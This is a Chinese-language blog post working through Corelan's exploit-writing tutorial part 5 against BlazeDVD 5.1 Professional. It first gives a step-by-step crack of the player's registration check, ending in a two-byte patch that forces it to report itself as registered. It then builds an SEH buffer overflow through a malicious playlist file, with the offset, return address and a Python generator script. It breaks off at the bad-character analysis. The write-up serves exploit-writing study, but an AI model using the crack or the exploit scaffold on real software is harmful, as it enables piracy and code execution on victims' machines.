Learn Corelan Exploit Writing Part 5
0x00 环境搭建
Part4主要是利用msf框架来完成exploit模块,用的例子也是做吐的socket接数据strcpy至栈上造成溢出,感兴趣的同学可以参看Exploit Development in the Metasploit Framework。所以会主要过一遍Part5的内容,还是以一个实际的漏洞来介绍工具的使用加速漏洞利用的过程,Byakugan很长时间没有更新了,本文则以Immunity Debugger为主。
懂得漏洞利用的原理,相信用什么工具都是触类旁通的,本文还是会逆向处漏洞点,最基础地过一遍漏洞利用,其中有个逆向破解的小插曲,最后才是工具的熟悉过程。
0x01 逆向破解
原文的漏洞软件是BlazeDVD 5.1 Professional,我本地的环境还是未开安全机制的win7 x86 en,程序安装后再使用任何功能的时都需要注册或购买才能使用,也就是说我们需要对该软件进行逆向破解才能继续下去。想到的解决方案自然有两点:
- 自己对软件进行逆向破解。
- 寻找网上现有的注册码或者破解版软件。
如果我们的主要目标在于漏洞利用,那么对于逆向过程就不应该花过多时间,Google也可以轻松搜到该软件的序列号。但是,重点来了,在一个闲适的周末偶然看到了大佬关于逆向工程理解的博客,虽然我对逆向工程略懂皮毛,针对于10年前的小软件的破解自认为还是可以轻松解决的,也就有了此次软件逆向破解的过程。
先来理一下软件判正常启动使用的过程:
- 管理员权限运行安装软件后,一路next即可完成安装然后启动该软件。
- 启动过程中会弹出窗A,其中有
Register!
,Buy Now
,Later
和Help
按钮。 - 如果选择注册则会弹出窗B,其中需要填入
User Name
,E-mail
和Serial Number
三个选项,然后点击窗B的Register!
按钮即可进入注册判断流程。(email需要对应格式,而且三个输入点好像也不存在溢出) - 如果注册失败则会弹出窗C,显示
Invalid registration info.
,这个MessageBox函数我还是认识的。 - 在窗B中Later掉还是可以进入软件,但在使用任何功能(包括漏洞触发点)和关闭时依旧会弹出窗B;根据文档,在播放器面板右键选择
Purchase & Register
也可以调出窗B。
根据流程大致可以推理出软件判断注册与否的过程:
- 根据输入的三个字段判断是否注册成功,当然也要考虑是本地校验还是远程校验。
- 根据判断结果弹框提示注册成功与否。
- 将注册的结果写入内存或某个配置文件中。
- 当使用软件任何功能时,会先判断是否注册过,再决定使用调用该功能。
其中要重点关注的两个问题是:1.上文中的2、3点的顺序性无法保证;2.上文中第3点写入的内容也无法保证,写入的是一个True值还是注册相关的信息。这些问题都会影响到patch点的选择。
针对这种有序列号的软件的破解大致有两种方法:1.逆向序列号的校验算法逆推出合理的序列号;2.直接patch程序某处导致软件校验成功。首当其冲的便是要逆向处注册的过程,这样整个注册的上下文就会清晰一点。
当然逆向也大致分正向拿头逆和反向在关键处下断点,如果你自信满满地打开主程序BlazeDVD.exe
,你会发现这个程序是加密的,其在运行过程中才会自解密再跳转执行,这样跟下去那可是到猴年马月了。所以根据经验,现在MessageBoxA处下断点,注册失败看看能不能触发断点:
(378.760): Break instruction exception - code 80000003 (first chance)
eax=7ffdc000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=0646ff5c ebp=0646ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:004> bp user32!MessageBoxA
0:004> bl
0 e 77d6ea11 0001 (0001) 0:**** USER32!MessageBoxA
0:004> g
Breakpoint 0 hit
eax=0012c0b0 ebx=0012dd68 ecx=0018037e edx=0012d24f esi=0012dd68 edi=0012d634
eip=77d6ea11 esp=0012bf54 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
USER32!MessageBoxA:
77d6ea11 8bff mov edi,edi
0:000> kv
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll -
ChildEBP RetAddr Args to Child
0012bf50 6032774f 0018037e 0012d234 0012c0b0 USER32!MessageBoxA (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 Configuration!DllCreateObject+0x1eaaf
0:000> bp 60327750
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=0012dd68 ecx=0000001e edx=0000001d esi=6034880b edi=0012d634
eip=60327750 esp=0012bf6c ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Configuration!DllCreateObject+0x1eab0:
60327750 c20c00 ret 0Ch
0:000> dd esp L1
0012bf6c 6031495d
栈帧回溯一如既往地不靠谱,手动查看返回地址结合IDA,可以定位窗B的对应函数为Configuration.dll中的sub_60314260
函数,查看字符串的交叉引用,也可以定位窗口A的对应函数为sub_60313AC0
,提示成功的消息为Thank you for Registering <%APPNAME%>, please relaunch to enjoy the unlocked <%APPNAME%>.
,对应的函数则为sub_603054E0
。
因为我们之前已经搜索到了可以成功注册的序列号,逆向窗口B的处理函数,加上r eip=xxxxxxxx
跳转执行可以确定以下几点:
- 注册过程是在本地校验的。
- 校验成功后会写入配置文件。
- 写完配置文件后才会出现注册成功的弹框。
观察窗B函数的流程图,如果注册成功肯定会进入60314A32
往下的逻辑,比如在60314B26
处动态调用了函数指针看似想在配置文件中写入信息:
.text:60314B10 ; 346: (*(void (__stdcall **)(_DWORD, wchar_t *, wchar_t *, CHAR *, _DWORD))(*(_DWORD *)v33[52] + 36))(
.text:60314B10 ; 347: v33[52],
.text:60314B10 ; 348: aConfig,
.text:60314B10 ; 349: aRegisterinfo2_0,
.text:60314B10 ; 350: v30,
.text:60314B10 ; 351: 0);
.text:60314B10 mov eax, [ebx+0D0h]
.text:60314B16 push 0
.text:60314B18 push edi ; p_w_serial
.text:60314B19 push offset aRegisterinfo2_0 ; "RegisterInfo2"
.text:60314B1E mov edx, [eax]
.text:60314B20 push offset aConfig ; "Config"
.text:60314B25 push eax
.text:60314B26 call dword ptr [edx
下断点可以跟踪一下:
(580.f0c): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=0646ff5c ebp=0646ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:004> bp 60314B26
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll -
0:004> g
Breakpoint 0 hit
eax=02610680 ebx=0012dd68 ecx=0012d634 edx=67009180 esi=00329dc4 edi=00329d4c
eip=60314b26 esp=0012bf68 ebp=002f98ec iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Configuration!DllCreateObject+0xbe86:
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\VersionInfo.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\VersionInfo.dll -
60314b26 ff5224 call dword ptr [edx+24h] ds:0023:670091a4=670015ee
0:000> dd esp L5
0012bf68 02610680 6033e0d0 6034741c 00329d4c
0012bf78 00000000
0:000> db 00329d4c L20
00329d4c 34 00 45 00 4a 00 4c 00-58 00 45 00 43 00 51 00 4.E.J.L.X.E.C.Q.
00329d5c 47 00 34 00 56 00 00 00-01 00 00 00 5e e5 43 1f G.4.V.......^.C.
0:000> !address 670015ee
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 67000000
Base Address: 67001000
End Address: 67009000
Region Size: 00008000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
More info: lmv m VersionInfo
More info: !lmi VersionInfo
More info: ln 0x670015ee
可以看到动态调用的是VersionInfo.dll中的sub_670015EE函数,该函数对写入配置文件的函数WritePrivateProfileStringA(因为安装路径的原因需要管理员权限)进行了包装:
int __stdcall sub_670015EE(LPCSTR a1, LPCWSTR lpString, LPCWSTR lpWideCharStr, LPCWSTR a4, LPCSTR lpAppName)
{
//......
v8 = lstrlenW(lpString);
v9 = 2 * v8 + 2;
v10 = 2 * v8 + 5;
LOBYTE(v10) = v10 & 0xFC;
v11 = alloca(v10);
lpAppName = (LPCSTR)&v15;
LOBYTE(v15) = 0;
WideCharToMultiByte(0, 0, lpString, -1, (LPSTR)&v15, v9, 0, 0);
v12 = 2 * lstrlenW(lpWideCharStr) + 2;
lpString = (LPCWSTR)v12;
v12 += 3;
LOBYTE(v12) = v12 & 0xFC;
v13 = alloca(v12);
LOBYTE(v15) = 0;
WideCharToMultiByte(0, 0, lpWideCharStr, -1, (LPSTR)&v15, (int)lpString, 0, 0);
WritePrivateProfileStringA(lpAppName, (LPCSTR)&v15, a1, lpFileName);
LABEL_10:
v18 = -1;
sub_67001CF9(&a1);
return v5;
}
return -2147024809;
}
下断点看看向什么文件写了些什么内容:
0:000> bp 670016CA
0:000> g
Breakpoint 1 hit
eax=0000000e ebx=00000000 ecx=0012bf22 edx=60347438 esi=0012bf14 edi=77e3450e
eip=670016ca esp=0012bf04 ebp=0012bf60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VersionInfo+0x16ca:
670016ca ff1514900067 call dword ptr [VersionInfo!Ordinal1+0x68e1 (67009014)] ds:0023:67009014={kernel32!WritePrivateProfileStringA (77e3d763)}
0:000> dd esp L4
0012bf04 0012bf30 0012bf14 026100ec 02610684
0:000> db 0012bf30 L20
0012bf30 43 6f 6e 66 69 67 00 0d-ba 71 ce 0d 7d 16 00 67 Config...q..}..g
0012bf40 4c 9d 32 00 c4 9d 32 00-68 dd 12 00 84 06 61 02 L.2...2.h.....a.
0:000> db 0012bf14 L20
0012bf14 52 65 67 69 73 74 65 72-49 6e 66 6f 32 00 ff ff RegisterInfo2...
0012bf24 ba 71 ce 0d ba 71 ce 0d-ad 16 00 67 43 6f 6e 66 .q...q.....gConf
0:000> db 026100ec
026100ec 33 34 66 31 32 32 35 30-38 38 63 31 37 62 62 64 34f1225088c17bbd
026100fc 65 37 36 30 35 65 39 63-35 30 30 34 66 38 61 63 e7605e9c5004f8ac
0261010c 36 30 64 34 38 38 37 63-33 30 65 34 35 38 30 63 60d4887c30e4580c
0261011c 63 30 62 34 36 38 64 63-39 30 34 34 33 38 65 63 c0b468dc904438ec
0261012c 61 30 31 34 63 38 62 63-37 30 32 34 39 38 34 63 a014c8bc7024984c
0261013c 30 30 66 34 61 38 31 63-64 30 38 34 37 38 32 63 00f4a81cd084782c
0261014c 65 30 35 34 30 38 66 63-62 30 36 34 64 38 38 63 e05408fcb064d88c
0261015c 34 30 33 34 65 38 35 63-31 30 63 34 62 38 36 63 4034e85c10c4b86c
0:000> db 02610684
02610684 43 3a 5c 50 72 6f 67 72-61 6d 44 61 74 61 5c 42 C:\ProgramData\B
02610694 6c 61 7a 65 56 69 64 65-6f 5c 42 6c 61 7a 65 44 lazeVideo\BlazeD
026106a4 56 44 20 35 2e 31 20 50-72 6f 66 65 73 73 69 6f VD 5.1 Professio
026106b4 6e 61 6c 5c 62 6c 61 7a-65 64 76 64 2e 64 6c 6c nal\blazedvd.dll
026106c4 00 30 34 34 33 38 65 63-61 30 31 34 63 38 62 63 .04438eca014c8bc
026106d4 37 30 32 34 39 38 34 63-30 30 66 34 61 38 31 63 7024984c00f4a81c
026106e4 64 30 38 34 37 38 32 63-65 30 35 34 30 38 66 63 d084782ce05408fc
026106f4 62 30 36 34 64 38 38 63-34 30 33 34 65 38 35 63 b064d88c4034e85c
其会向C:\ProgramData\BlazeVideo\BlazeDVD 5.1 Professional\blazedvd.dll
中写入相关配置信息,而且写入的内容是warpper函数经过编码或加密后的结果。在逆向过程中也可以发现Configuration! sub_60314260
中会获取配置文件中的信息,辅助验证过程。Wapper函数内部调用的则是GetPrivateProfileStringA函数:
.text:60314705 ; 235: if ( (*(int (__stdcall **)(int, wchar_t *, wchar_t *, BSTR *, _DWORD))(v11 + 32))(
.text:60314705 ; 236: v12,
.text:60314705 ; 237: aVersioninfo,
.text:60314705 ; 238: aKey3,
.text:60314705 ; 239: &bstrString,
.text:60314705 ; 240: 0) < 0 )
.text:60314705 lea ecx, [esp+16C4h+bstrString]
.text:60314709 push ebp
.text:6031470A push ecx
.text:6031470B ; 232: v11 = *(_DWORD *)v3[52];
.text:6031470B mov edx, [eax]
.text:6031470D push offset aKey3 ; "Key3"
.text:60314712 push offset aVersioninfo ; "VersionInfo"
.text:60314717 ; 233: v12 = v3[52];
.text:60314717 push eax
.text:60314718 ; 234: LOBYTE(v87) = 25;
.text:60314718 mov byte ptr [esp+16D8h+var_4], 19h
.text:60314720 call dword ptr [edx+20h] ; 67001468 VersionInfo+00x1468
虽然说序列号的校验逻辑就在Configuration! sub_60314260
中,但其中涉及多个函数指针调用,还有寄存器的多次循环位移验证,校验的过程感觉会很复杂。况且我已经有了序列号,逆推算法如果有效的序列号唯一那就大费功夫了。
所以还是得在patch上想办法,如果只是在校验过程中patch使其弹出注册成功的框并没有什么意义,因为根据验证和程序的特点,再使用功能的时候还是会验证是否注册。逆推其应该还是会通过读取配置文件进行判断,根据前文分析经验在kernel32!GetPrivateProfileStringA
处下断点,看看函数调用情况:
(cb4.94c): Break instruction exception - code 80000003 (first chance)
eax=7ffdc000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=0664ff5c ebp=0664ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:004> bp kernel32!GetPrivateProfileStringA
0:004> bl
0 e 77e1d8d7 0001 (0001) 0:**** kernel32!GetPrivateProfileStringA
0:004> g
Breakpoint 0 hit
eax=0012f480 ebx=00000000 ecx=0012f455 edx=6034745e esi=77e3450e edi=0012f450
eip=77e1d8d7 esp=0012f434 ebp=0012f894 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kernel32!GetPrivateProfileStringA:
77e1d8d7 8bff mov edi,edi
0:000> dd esp L7
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\VersionInfo.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\VersionInfo.dll -
0012f434 67001548 0012f45c 0012f450 6700bde0
0012f444 0012f480 00000401 02620684
0:000> db 0012f45c L20
0012f45c 56 65 72 73 69 6f 6e 49-6e 66 6f 00 ba 71 ce 0d VersionInfo..q..
0012f46c ba 71 ce 0d e3 14 00 67-38 68 4c 00 80 06 62 02 .q.....g8hL...b.
0:000> db 0012f450 L20
0012f450 4b 65 79 33 00 71 ce 0d-13 15 00 67 56 65 72 73 Key3.q.....gVers
0012f460 69 6f 6e 49 6e 66 6f 00-ba 71 ce 0d ba 71 ce 0d ionInfo..q...q..
0:000> db 02620684
02620684 43 3a 5c 50 72 6f 67 72-61 6d 44 61 74 61 5c 42 C:\ProgramData\B
02620694 6c 61 7a 65 56 69 64 65-6f 5c 42 6c 61 7a 65 44 lazeVideo\BlazeD
026206a4 56 44 20 35 2e 31 20 50-72 6f 66 65 73 73 69 6f VD 5.1 Professio
026206b4 6e 61 6c 5c 62 6c 61 7a-65 64 76 64 2e 64 6c 6c nal\blazedvd.dll
026206c4 00 30 34 34 33 38 65 63-61 30 31 34 63 38 62 63 .04438eca014c8bc
026206d4 37 30 32 34 39 38 34 63-30 30 66 34 61 38 31 63 7024984c00f4a81c
026206e4 64 30 38 34 37 38 32 63-65 30 35 34 30 38 66 63 d084782ce05408fc
026206f4 62 30 36 34 64 38 38 63-34 30 33 34 65 38 35 63 b064d88c4034e85c
0:000> kv
ChildEBP RetAddr Args to Child
0012f430 67001548 0012f45c 0012f450 6700bde0 kernel32!GetPrivateProfileStringA (FPO: [Non-Fpo])
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll -
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f894 6030481a 02620680 0000000a 60347454 VersionInfo+0x1548
00000000 00000000 00000000 00000000 00000000 Configuration+0x481a
0:000> g
Breakpoint 0 hit
eax=0012f598 ebx=00000000 ecx=0012f56e edx=60347438 esi=77e3450e edi=0012f560
eip=77e1d8d7 esp=0012f544 ebp=0012f9ac iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kernel32!GetPrivateProfileStringA:
77e1d8d7 8bff mov edi,edi
0:000> dd esp L7
0012f544 67001548 0012f57c 0012f560 6700bde0
0012f554 0012f598 00000401 02620684
0:000> db 0012f57c L20
0012f57c 43 6f 6e 66 69 67 00 0d-ba 71 ce 0d e3 14 00 67 Config...q.....g
0012f58c 38 68 4c 00 80 06 62 02-01 00 00 00 00 00 00 00 8hL...b.........
0:000> db 0012f560 L20
0012f560 52 65 67 69 73 74 65 72-49 6e 66 6f 32 00 ff ff RegisterInfo2...
0012f570 ba 71 ce 0d ba 71 ce 0d-13 15 00 67 43 6f 6e 66 .q...q.....gConf
0:000> kv
ChildEBP RetAddr Args to Child
0012f540 67001548 0012f57c 0012f560 6700bde0 kernel32!GetPrivateProfileStringA (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f9ac 6030476c 02620680 0000001c 6034741c VersionInfo+0x1548
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\BlazeDVD.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\BlazeDVD.exe
0012fb58 00424117 05ab3e40 023c94ac 0012fb60 Configuration+0x476c
0012fb74 00467d7c 05ab3e40 023dc480 0046fe1b BlazeDVD+0x24117
00000000 00000000 00000000 00000000 00000000 BlazeDVD+0x67d7c
读取的和注册相关的配置信息就只有VersionInfo[Key3]
和Config[RegisterInfo2]
,说明注册的过程是跟username和email无关的,如果根据栈回溯的结果来看的话,如果判断是否注册的逻辑真在BlazeDVD,那么要patch只能在内存中patch一次,无法实现长久的破解了。所以还是下断点跟一下函数调用的流程:
0:000> g
Breakpoint 0 hit
eax=0012dac0 ebx=00000000 ecx=0012da95 edx=6034745e esi=77e3450e edi=0012da90
eip=77e1d8d7 esp=0012da74 ebp=0012ded4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kernel32!GetPrivateProfileStringA:
77e1d8d7 8bff mov edi,edi
0:000> dd esp L7
0012da74 67001548 0012da9c 0012da90 6700bde0
0012da84 0012dac0 00000401 02620684
0:000> db 0012da9c L20
0012da9c 56 65 72 73 69 6f 6e 49-6e 66 6f 00 ba 71 ce 0d VersionInfo..q..
0012daac ba 71 ce 0d e3 14 00 67-38 68 4c 00 80 06 62 02 .q.....g8hL...b.
0:000> db 0012da90 L20
0012da90 4b 65 79 33 00 71 ce 0d-13 15 00 67 56 65 72 73 Key3.q.....gVers
0012daa0 69 6f 6e 49 6e 66 6f 00-ba 71 ce 0d ba 71 ce 0d ionInfo..q...q..
0:000> bp 670015EB
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=00000001 ecx=0012e018 edx=0262000c esi=02620680 edi=004c6838
eip=670015eb esp=0012ded8 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VersionInfo+0x15eb:
670015eb c21400 ret 14h
0:000> dd esp L1
0012ded8 6030481a
0:000> bp 60304952
0:000> g
Breakpoint 2 hit
eax=00253930 ebx=00000001 ecx=0012e0d0 edx=00253930 esi=02620680 edi=004c6838
eip=60304952 esp=0012e024 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Configuration+0x4952:
60304952 c20400 ret 4
0:000> dd esp L1
0012e024 6030341a
0:000> !address 6030341a
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 60300000
Base Address: 60301000
End Address: 60333000
Region Size: 00032000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
More info: lmv m Configuration
More info: !lmi Configuration
More info: ln 0x6030341a
发现一个蛮像的地址,通过反汇编上下文环境大致可以猜出,这里便是验证注册的地方,调用函数sub_603047D0
获取Key3的值,调用函数sub_60304700
获取RegisterInfo2的值,在函数sub_60303710
中进行校验,最后根据eax的值来确定是否为注册了:
.text:603033F7 lea ecx, [esp+0B0h+var_98]
.text:603033FB call sub_6030AF10
.text:60303400 lea eax, [esp+0B0h+var_98]
.text:60303404 mov ebx, 1
.text:60303409 push eax
.text:6030340A lea ecx, [esp+0B4h+var_A0]
.text:6030340E mov byte ptr [esp+0B4h+var_4], bl
.text:60303415 call sub_603047D0
.text:6030341A lea ecx, [esp+0B0h+lpString]
.text:6030341E push ecx
.text:6030341F lea ecx, [esp+0B4h+var_A0]
.text:60303423 call sub_60304700
.text:60303428 mov edx, [esp+0B0h+lpString]
.text:6030342C lea ecx, [esp+0B0h+var_98]
.text:60303430 push edx ; lpString
.text:60303431 mov byte ptr [esp+0B4h+var_4], 2
.text:60303439 call sub_60303710
.text:6030343E lea ecx, [esp+0B0h+lpString]
.text:60303442 mov esi, eax
.text:60303444 mov byte ptr [esp+0B0h+var_4], bl
.text:6030344B call sub_603291BE
.text:60303450 lea ecx, [esp+0B0h+var_98]
.text:60303454 mov byte ptr [esp+0B0h+var_4], 0
.text:6030345C call sub_6030AF70
.text:60303461 mov eax, esi
.text:60303463 jmp loc_603036
调试一下也可以间接验证一下,返回0是没有注册,那么返回1便会是注册了:
0:000> bp 60303442
0:000> g
Breakpoint 0 hit
eax=0012dbd8 ebx=00000000 ecx=0012dbae edx=60347438 esi=77e3450e edi=0012dba0
eip=77e1d8d7 esp=0012db84 ebp=0012dfec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kernel32!GetPrivateProfileStringA:
77e1d8d7 8bff mov edi,edi
0:000> dd esp L7
0012db84 67001548 0012dbbc 0012dba0 6700bde0
0012db94 0012dbd8 00000401 02620684
0:000> db 0012dbbc L20
0012dbbc 43 6f 6e 66 69 67 00 0d-ba 71 ce 0d e3 14 00 67 Config...q.....g
0012dbcc 38 68 4c 00 80 06 62 02-01 00 00 00 00 00 00 00 8hL...b.........
0:000> db 0012dba0 L20
0012dba0 52 65 67 69 73 74 65 72-49 6e 66 6f 32 00 ff ff RegisterInfo2...
0012dbb0 ba 71 ce 0d ba 71 ce 0d-13 15 00 67 43 6f 6e 66 .q...q.....gConf
0:000> g
Breakpoint 1 hit
eax=80070057 ebx=00000001 ecx=0012e018 edx=00000000 esi=02620680 edi=004c6838
eip=670015eb esp=0012dff0 ebp=00000000 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
VersionInfo+0x15eb:
670015eb c21400 ret 14h
0:000> g
Breakpoint 3 hit
eax=00000000 ebx=00000001 ecx=0012e038 edx=60348dec esi=02620680 edi=004c6838
eip=60303442 esp=0012e02c ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Configuration+0x3442:
60303442 8bf0 mov esi,eax
最终可以patch 60303461
处的两个字节,将eax的值变为1,最简单的便是mov al, 1
。将patch应用至原文件,再把新的Configuration.dll进行覆盖即可完成破解了XD。
0x02 漏洞案例
原文中使用的漏洞案例触发点在打开某个palylist,文件中包含的过长内容会造成缓冲区溢出,也可以发展成为基于SEH的漏洞利用。之前的博文也提到过,如果在调试器中运行程序,那么程序遇到的异常首先会转交给调试器,运气好的话我们可以根据此异常点直接定位到漏洞点,先用长度为5000的pattern试水:
(254.b3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00001389 ebx=02a21a70 ecx=00000165 edx=0624d88c esi=0624e680 edi=00130000
eip=6400f530 esp=0012f1ec ebp=00000001 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\MediaPlayerCtrl.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\MediaPlayerCtrl.dll -
MediaPlayerCtrl!DllCreateObject+0x220:
6400f530 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> g
(254.b3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=31644230 edx=77f071cd esi=00000000 edi=00000000
eip=31644230 esp=0012ec98 ebp=0012ecb8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
31644230 ?? ???
可以看到是在一个循环过程中把栈打满了导致的异常,在IDA中查看对应地址可知是一个strcpy向栈上拷贝文件的内容导致溢出,同时算出和SEH Handler的偏移为872,和原文中略有不同:
int __thiscall sub_6400F4B0(int this, int a2, int a3, const char *a4, const char *a5)
{
//......
int v14; // [sp+10h] [bp-214h]@4
int v15; // [sp+14h] [bp-210h]@4
int v16; // [sp+18h] [bp-20Ch]@4
char v17; // [sp+1Ch] [bp-208h]@4
char v18; // [sp+120h] [bp-104h]@4
v5 = this;
if ( a2 && a4 && a5 )
{
memset(&v15, 0, 0x210u);
v14 = *(_DWORD *)(this + 4);
*(_DWORD *)(this + 4) = v14 + 1;
v16 = a3;
v15 = a2;
strcpy(&v17, a4);
strcpy(&v18, a5);
先进行基于SEH的漏洞利用,pop pop ret
的地址和原文相同,在next SEH中先用\xcc
下断,可查看shellcode的毁坏情况:
padding = "A" * 868
next_seh = "\xcc\x90\x90\x90"
handler = "\xf7\x46\x02\x64" # 640246f7
shellcode = "B" * 500
junk = "A" * 3000
payload = padding + next_seh + shellcode + junk
with open("crash.plf", "w") as f:
f.write(payload)
成功断在预期的\xcc
处,而且shellcode也没有遭到破坏:
0:000> g
(15a8.17a4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012ed80 ecx=640246f7 edx=77f071cd esi=77f071b9 edi=00000000
eip=0012f570 esp=0012eca4 ebp=0012ecb8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012f570 cc int 3
0:000> db eip
0012f570 cc 90 90 90 f7 46 02 64-42 42 42 42 42 42 42 42 .....F.dBBBBBBBB
0012f580 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f590 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> db eip+8+0n500-20
0012f74c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f75c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f76c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f77c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f78c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f79c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f7ac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f7bc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
那么按照正常的剧本来说next上一个短跳至shellcode就可以弹计算器了,但是当加上之前的shellcode再次触发漏洞时,shellcode并没有执行成功,而且在pop pop ret
上下断点也断不下来,这就意味shellcode部分会因为某些坏字符而被破坏了,可以在函数sub_6400F4B0
起始处下断点验证一下:
Breakpoint 0 hit
eax=00000001 ebx=6de300aa ecx=02ca1a70 edx=00000000 esi=02ca1a70 edi=0012f471
eip=6400f4b0 esp=0012f414 ebp=02ca1cc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MediaPlayerCtrl!DllCreateObject+0x1a0:
6400f4b0 81ec18020000 sub esp,218h
0:000> dd esp L5
